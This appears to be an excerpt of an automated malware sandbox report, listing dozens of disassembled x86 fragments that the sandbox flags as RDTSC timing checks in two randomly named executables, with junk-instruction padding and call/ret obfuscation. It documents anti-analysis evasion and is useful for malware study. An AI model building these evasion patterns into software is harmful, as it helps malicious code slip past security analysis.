Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe RDTSC instruction interceptor: First address: CA01FB second address: CA0247 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push esi 0x00000006 pop esi 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov dword ptr [esp], eax 0x0000000d and edi, dword ptr [ebp+122D2AE4h] 0x00000013 mov ebx, dword ptr [ebp+12484181h] 0x00000019 push 00000000h 0x0000001b push esi 0x0000001c call 00007FF888DC1E98h 0x00000021 pop esi 0x00000022 mov dword ptr [esp+04h], esi 0x00000026 add dword ptr [esp+04h], 0000001Bh 0x0000002e inc esi 0x0000002f push esi 0x00000030 ret 0x00000031 pop esi 0x00000032 ret 0x00000033 or dword ptr [ebp+122D257Eh], edx 0x00000039 add eax, ebx 0x0000003b mov di, cx 0x0000003e push eax 0x0000003f pushad 0x00000040 pushad 0x00000041 push eax 0x00000042 push edx 0x00000043 rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe RDTSC instruction interceptor: First address: CF2CC4 second address: CF2CCB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe RDTSC instruction interceptor: First address: CF2CCB second address: CF2CD0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe RDTSC instruction interceptor: First address: CF2CD0 second address: CF2CEB instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 jmp 00007FF88929ECBCh 0x00000008 pop edi 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c jl 00007FF88929ECBCh 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe RDTSC instruction interceptor: First address: CF6CEF second address: CF6CF5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe RDTSC instruction interceptor: First address: CF6CF5 second address: CF6D01 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jl 00007FF88929ECB6h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe RDTSC instruction interceptor: First address: CF6D01 second address: CF6D1F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 jne 00007FF888DC1E96h 0x0000000f jmp 00007FF888DC1E9Fh 0x00000014 rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe RDTSC instruction interceptor: First address: CF6D1F second address: CF6D23 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe RDTSC instruction interceptor: First address: CF6D23 second address: CF6D29 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe RDTSC instruction interceptor: First address: CF6D29 second address: CF6D3A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 jnc 00007FF88929ECB6h 0x0000000d pop eax 0x0000000e push eax 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe RDTSC instruction interceptor: First address: CF6EAE second address: CF6EB8 instructions: 0x00000000 rdtsc 0x00000002 je 00007FF888DC1E96h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe RDTSC instruction interceptor: First address: CF6FC7 second address: CF6FCF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe RDTSC instruction interceptor: First address: CF6FCF second address: CF6FD6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe RDTSC instruction interceptor: First address: CFA6DB second address: CFA6F8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 jne 00007FF88929ECB6h 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jnp 00007FF88929ECC6h 0x00000012 pushad 0x00000013 jnl 00007FF88929ECB6h 0x00000019 push ecx 0x0000001a pop ecx 0x0000001b push eax 0x0000001c push edx 0x0000001d rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe RDTSC instruction interceptor: First address: CFA828 second address: CFA82E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe RDTSC instruction interceptor: First address: CFA82E second address: CFA836 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe RDTSC instruction interceptor: First address: CFAB03 second address: CFAB09 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe RDTSC instruction interceptor: First address: CFAB09 second address: CFAB28 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jl 00007FF88929ECCEh 0x0000000b jmp 00007FF88929ECC2h 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe RDTSC instruction interceptor: First address: CFAD8D second address: CFADB8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jp 00007FF888DC1EB5h 0x0000000c jg 00007FF888DC1E96h 0x00000012 jmp 00007FF888DC1EA9h 0x00000017 rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe RDTSC instruction interceptor: First address: D04898 second address: D048A7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FF88929ECBBh 0x00000009 rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe RDTSC instruction interceptor: First address: D048A7 second address: D048AB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe RDTSC instruction interceptor: First address: D02949 second address: D0294D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe RDTSC instruction interceptor: First address: D0294D second address: D02979 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnc 00007FF888DC1E96h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jmp 00007FF888DC1EA0h 0x00000011 jl 00007FF888DC1E98h 0x00000017 push edx 0x00000018 pop edx 0x00000019 push eax 0x0000001a push edx 0x0000001b jne 00007FF888DC1E96h 0x00000021 rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe RDTSC instruction interceptor: First address: D02979 second address: D0297D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe RDTSC instruction interceptor: First address: D02A9F second address: D02AB8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF888DC1EA4h 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe RDTSC instruction interceptor: First address: D02AB8 second address: D02AD5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jg 00007FF88929ECB6h 0x0000000a push edx 0x0000000b pop edx 0x0000000c popad 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push edx 0x00000011 jbe 00007FF88929ECB8h 0x00000017 push edx 0x00000018 push ebx 0x00000019 pop ebx 0x0000001a pop edx 0x0000001b rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe RDTSC instruction interceptor: First address: D02F14 second address: D02F1E instructions: 0x00000000 rdtsc 0x00000002 jns 00007FF888DC1E96h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\userIJKFHIIEHI.exe RDTSC instruction interceptor: First address: 5DEB1E second address: 5DEB22 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\userIJKFHIIEHI.exe RDTSC instruction interceptor: First address: 5DEB22 second address: 5DEB28 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\userIJKFHIIEHI.exe RDTSC instruction interceptor: First address: 5DEB28 second address: 5DEB32 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 je 00007FF88929ECB6h 0x0000000a rdtsc
Source: C:\Users\userIJKFHIIEHI.exe RDTSC instruction interceptor: First address: 75AE1E second address: 75AE43 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jc 00007FF888DC1E96h 0x00000009 push ecx 0x0000000a pop ecx 0x0000000b jno 00007FF888DC1E96h 0x00000011 popad 0x00000012 push eax 0x00000013 push edx 0x00000014 jmp 00007FF888DC1EA1h 0x00000019 rdtsc
Source: C:\Users\userIJKFHIIEHI.exe RDTSC instruction interceptor: First address: 760C5E second address: 760C7B instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pushad 0x00000004 popad 0x00000005 pop esi 0x00000006 pushad 0x00000007 push esi 0x00000008 pop esi 0x00000009 jmp 00007FF88929ECC2h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\userIJKFHIIEHI.exe RDTSC instruction interceptor: First address: 76106D second address: 761072 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\userIJKFHIIEHI.exe RDTSC instruction interceptor: First address: 76132A second address: 761339 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007FF88929ECB6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b pushad 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\userIJKFHIIEHI.exe RDTSC instruction interceptor: First address: 761339 second address: 76133F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\userIJKFHIIEHI.exe RDTSC instruction interceptor: First address: 76133F second address: 761345 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\userIJKFHIIEHI.exe RDTSC instruction interceptor: First address: 7614AA second address: 7614B7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 jc 00007FF888DC1E98h 0x0000000b push ebx 0x0000000c pop ebx 0x0000000d rdtsc
Source: C:\Users\userIJKFHIIEHI.exe RDTSC instruction interceptor: First address: 7614B7 second address: 7614CC instructions: 0x00000000 rdtsc 0x00000002 jne 00007FF88929ECB8h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jne 00007FF88929ECD0h 0x00000012 pushad 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\userIJKFHIIEHI.exe RDTSC instruction interceptor: First address: 763D5F second address: 763D64 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\userIJKFHIIEHI.exe RDTSC instruction interceptor: First address: 763D64 second address: 763D73 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push edi 0x00000004 pop edi 0x00000005 pop edi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e pop edx 0x0000000f rdtsc
Source: C:\Users\userIJKFHIIEHI.exe RDTSC instruction interceptor: First address: 763D73 second address: 763DBF instructions: 0x00000000 rdtsc 0x00000002 jp 00007FF888DC1EA6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a nop 0x0000000b call 00007FF888DC1EA8h 0x00000010 and di, 656Ah 0x00000015 pop ecx 0x00000016 push 00000000h 0x00000018 movsx ecx, di 0x0000001b call 00007FF888DC1E99h 0x00000020 push ebx 0x00000021 push eax 0x00000022 push edx 0x00000023 push esi 0x00000024 pop esi 0x00000025 rdtsc
Source: C:\Users\userIJKFHIIEHI.exe RDTSC instruction interceptor: First address: 763DBF second address: 763E01 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ebx 0x00000007 push eax 0x00000008 jne 00007FF88929ECBEh 0x0000000e mov eax, dword ptr [esp+04h] 0x00000012 jmp 00007FF88929ECBFh 0x00000017 mov eax, dword ptr [eax] 0x00000019 push eax 0x0000001a push edx 0x0000001b jns 00007FF88929ECC5h 0x00000021 rdtsc
Source: C:\Users\userIJKFHIIEHI.exe RDTSC instruction interceptor: First address: 763E01 second address: 763E07 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\userIJKFHIIEHI.exe RDTSC instruction interceptor: First address: 763E07 second address: 763E77 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp+04h], eax 0x0000000c jmp 00007FF88929ECC9h 0x00000011 pop eax 0x00000012 push 00000003h 0x00000014 add esi, dword ptr [ebp+122D3785h] 0x0000001a mov cl, dh 0x0000001c push 00000000h 0x0000001e push ecx 0x0000001f mov dl, 70h 0x00000021 pop ecx 0x00000022 push 00000003h 0x00000024 xor esi, dword ptr [ebp+122D3711h] 0x0000002a call 00007FF88929ECB9h 0x0000002f jne 00007FF88929ECCAh 0x00000035 push eax 0x00000036 push edi 0x00000037 push ecx 0x00000038 pushad 0x00000039 popad 0x0000003a pop ecx 0x0000003b pop edi 0x0000003c mov eax, dword ptr [esp+04h] 0x00000040 pushad 0x00000041 push ecx 0x00000042 push eax 0x00000043 push edx 0x00000044 rdtsc
Source: C:\Users\userIJKFHIIEHI.exe RDTSC instruction interceptor: First address: 763E77 second address: 763E7F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\userIJKFHIIEHI.exe RDTSC instruction interceptor: First address: 763F1C second address: 763F20 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\userIJKFHIIEHI.exe RDTSC instruction interceptor: First address: 763F20 second address: 763F26 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\userIJKFHIIEHI.exe RDTSC instruction interceptor: First address: 763F26 second address: 763FBB instructions: 0x00000000 rdtsc 0x00000002 jns 00007FF88929ECB8h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov dword ptr [esp], eax 0x0000000d push 00000000h 0x0000000f push eax 0x00000010 call 00007FF88929ECB8h 0x00000015 pop eax 0x00000016 mov dword ptr [esp+04h], eax 0x0000001a add dword ptr [esp+04h], 0000001Ch 0x00000022 inc eax 0x00000023 push eax 0x00000024 ret 0x00000025 pop eax 0x00000026 ret 0x00000027 sub esi, dword ptr [ebp+122D3891h] 0x0000002d push 00000000h 0x0000002f push 00000000h 0x00000031 push esi 0x00000032 call 00007FF88929ECB8h 0x00000037 pop esi 0x00000038 mov dword ptr [esp+04h], esi 0x0000003c add dword ptr [esp+04h], 0000001Dh 0x00000044 inc esi 0x00000045 push esi 0x00000046 ret 0x00000047 pop esi 0x00000048 ret 0x00000049 sbb ch, FFFFFFF5h 0x0000004c pushad 0x0000004d mov si, dx 0x00000050 jmp 00007FF88929ECC4h 0x00000055 popad 0x00000056 call 00007FF88929ECB9h 0x0000005b push esi 0x0000005c js 00007FF88929ECB8h 0x00000062 pushad 0x00000063 popad 0x00000064 pop esi 0x00000065 push eax 0x00000066 push eax 0x00000067 push edx 0x00000068 pushad 0x00000069 push eax 0x0000006a push edx 0x0000006b rdtsc
Source: C:\Users\userIJKFHIIEHI.exe RDTSC instruction interceptor: First address: 763FBB second address: 763FC6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jno 00007FF888DC1E96h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\userIJKFHIIEHI.exe RDTSC instruction interceptor: First address: 763FC6 second address: 764086 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF88929ECC4h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [esp+04h] 0x0000000d jc 00007FF88929ECC0h 0x00000013 mov eax, dword ptr [eax] 0x00000015 jmp 00007FF88929ECBEh 0x0000001a mov dword ptr [esp+04h], eax 0x0000001e jp 00007FF88929ECC6h 0x00000024 pop eax 0x00000025 mov dword ptr [ebp+122D2B27h], esi 0x0000002b push 00000003h 0x0000002d sub dword ptr [ebp+122D3416h], esi 0x00000033 push 00000000h 0x00000035 and edx, dword ptr [ebp+122D3901h] 0x0000003b push 00000003h 0x0000003d mov cl, E0h 0x0000003f push 81EFC0C3h 0x00000044 push ebx 0x00000045 push edx 0x00000046 jnp 00007FF88929ECB6h 0x0000004c pop edx 0x0000004d pop ebx 0x0000004e xor dword ptr [esp], 41EFC0C3h 0x00000055 mov dx, cx 0x00000058 or edi, 00DC991Fh 0x0000005e lea ebx, dword ptr [ebp+12458C33h] 0x00000064 mov ecx, dword ptr [ebp+122D37F1h] 0x0000006a jmp 00007FF88929ECBCh 0x0000006f push eax 0x00000070 push eax 0x00000071 push edx 0x00000072 jmp 00007FF88929ECC5h 0x00000077 rdtsc
Source: C:\Users\userIJKFHIIEHI.exe RDTSC instruction interceptor: First address: 7578EF second address: 757915 instructions: 0x00000000 rdtsc 0x00000002 jp 00007FF888DC1E96h 0x00000008 jmp 00007FF888DC1EA0h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f jbe 00007FF888DC1E9Ch 0x00000015 jno 00007FF888DC1E96h 0x0000001b rdtsc
Source: C:\Users\userIJKFHIIEHI.exe RDTSC instruction interceptor: First address: 757915 second address: 757921 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 jo 00007FF88929ECB6h 0x0000000c rdtsc
Source: C:\Users\userIJKFHIIEHI.exe RDTSC instruction interceptor: First address: 7834BB second address: 7834E2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FF888DC1E9Eh 0x00000009 jmp 00007FF888DC1EA2h 0x0000000e push edi 0x0000000f pop edi 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\userIJKFHIIEHI.exe RDTSC instruction interceptor: First address: 783647 second address: 78366F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 jmp 00007FF88929ECC9h 0x0000000b popad 0x0000000c jng 00007FF88929ECB8h 0x00000012 rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe RDTSC instruction interceptor: First address: D0398F second address: D039A8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF888DC1EA5h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe RDTSC instruction interceptor: First address: D039A8 second address: D039F7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 ja 00007FF88929ECD5h 0x0000000c jmp 00007FF88929ECC8h 0x00000011 popad 0x00000012 pushad 0x00000013 push eax 0x00000014 push edx 0x00000015 jno 00007FF88929ECB6h 0x0000001b push eax 0x0000001c push edx 0x0000001d rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe RDTSC instruction interceptor: First address: D039F7 second address: D039FB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe RDTSC instruction interceptor: First address: D039FB second address: D03A0D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF88929ECBEh 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe RDTSC instruction interceptor: First address: C65AC9 second address: C65ACD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe RDTSC instruction interceptor: First address: C65ACD second address: C65AD8 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 push edx 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe RDTSC instruction interceptor: First address: C65AD8 second address: C65AED instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 push eax 0x00000006 push edx 0x00000007 push ecx 0x00000008 jmp 00007FF888DC1E9Ah 0x0000000d pushad 0x0000000e popad 0x0000000f pop ecx 0x00000010 rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe RDTSC instruction interceptor: First address: D03D21 second address: D03D25 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\userIJKFHIIEHI.exe RDTSC instruction interceptor: First address: 78419B second address: 7841D9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FF888DC1EA5h 0x00000009 je 00007FF888DC1E96h 0x0000000f popad 0x00000010 jmp 00007FF888DC1EA9h 0x00000015 push eax 0x00000016 push eax 0x00000017 push edx 0x00000018 pushad 0x00000019 popad 0x0000001a rdtsc
Source: C:\Users\userIJKFHIIEHI.exe RDTSC instruction interceptor: First address: 7841D9 second address: 7841DD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\userIJKFHIIEHI.exe RDTSC instruction interceptor: First address: 7841DD second address: 784210 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FF888DC1EA9h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007FF888DC1EA2h 0x00000012 rdtsc
Source: C:\Users\userIJKFHIIEHI.exe RDTSC instruction interceptor: First address: 78453C second address: 784544 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\userIJKFHIIEHI.exe RDTSC instruction interceptor: First address: 784544 second address: 78454A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\userIJKFHIIEHI.exe RDTSC instruction interceptor: First address: 78454A second address: 784550 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\userIJKFHIIEHI.exe RDTSC instruction interceptor: First address: 784550 second address: 784576 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pop edi 0x00000008 push ecx 0x00000009 jmp 00007FF888DC1EA6h 0x0000000e pushad 0x0000000f push ecx 0x00000010 pop ecx 0x00000011 push edi 0x00000012 pop edi 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\userIJKFHIIEHI.exe RDTSC instruction interceptor: First address: 7846C3 second address: 7846D5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b popad 0x0000000c jnp 00007FF88929ECB6h 0x00000012 rdtsc
Source: C:\Users\userIJKFHIIEHI.exe RDTSC instruction interceptor: First address: 7846D5 second address: 784707 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 ja 00007FF888DC1EADh 0x0000000e jmp 00007FF888DC1EA1h 0x00000013 jnp 00007FF888DC1E96h 0x00000019 pushad 0x0000001a push edi 0x0000001b pop edi 0x0000001c pushad 0x0000001d popad 0x0000001e popad 0x0000001f popad 0x00000020 push eax 0x00000021 push edx 0x00000022 push eax 0x00000023 push edx 0x00000024 pushad 0x00000025 popad 0x00000026 rdtsc
Source: C:\Users\userIJKFHIIEHI.exe RDTSC instruction interceptor: First address: 784707 second address: 784713 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 ja 00007FF88929ECB6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\userIJKFHIIEHI.exe RDTSC instruction interceptor: First address: 779E4E second address: 779E54 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\userIJKFHIIEHI.exe RDTSC instruction interceptor: First address: 779E54 second address: 779E67 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 jnl 00007FF88929ECBEh 0x0000000b rdtsc
Source: C:\Users\userIJKFHIIEHI.exe RDTSC instruction interceptor: First address: 779E67 second address: 779E7F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF888DC1E9Eh 0x00000007 push eax 0x00000008 push edx 0x00000009 jns 00007FF888DC1E96h 0x0000000f rdtsc
Source: C:\Users\userIJKFHIIEHI.exe RDTSC instruction interceptor: First address: 779E7F second address: 779EA8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF88929ECBBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e pushad 0x0000000f popad 0x00000010 je 00007FF88929ECB6h 0x00000016 push ebx 0x00000017 pop ebx 0x00000018 popad 0x00000019 push eax 0x0000001a jbe 00007FF88929ECB6h 0x00000020 push ecx 0x00000021 pop ecx 0x00000022 pop eax 0x00000023 rdtsc
Source: C:\Users\userIJKFHIIEHI.exe RDTSC instruction interceptor: First address: 779EA8 second address: 779EC0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FF888DC1EA2h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\userIJKFHIIEHI.exe RDTSC instruction interceptor: First address: 779EC0 second address: 779EC4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\userIJKFHIIEHI.exe RDTSC instruction interceptor: First address: 784E1D second address: 784E47 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push edi 0x00000008 jmp 00007FF888DC1EA0h 0x0000000d pop edi 0x0000000e popad 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 jbe 00007FF888DC1E96h 0x00000019 jne 00007FF888DC1E96h 0x0000001f rdtsc
Source: C:\Users\userIJKFHIIEHI.exe RDTSC instruction interceptor: First address: 784E47 second address: 784E55 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jc 00007FF88929ECB6h 0x0000000e rdtsc
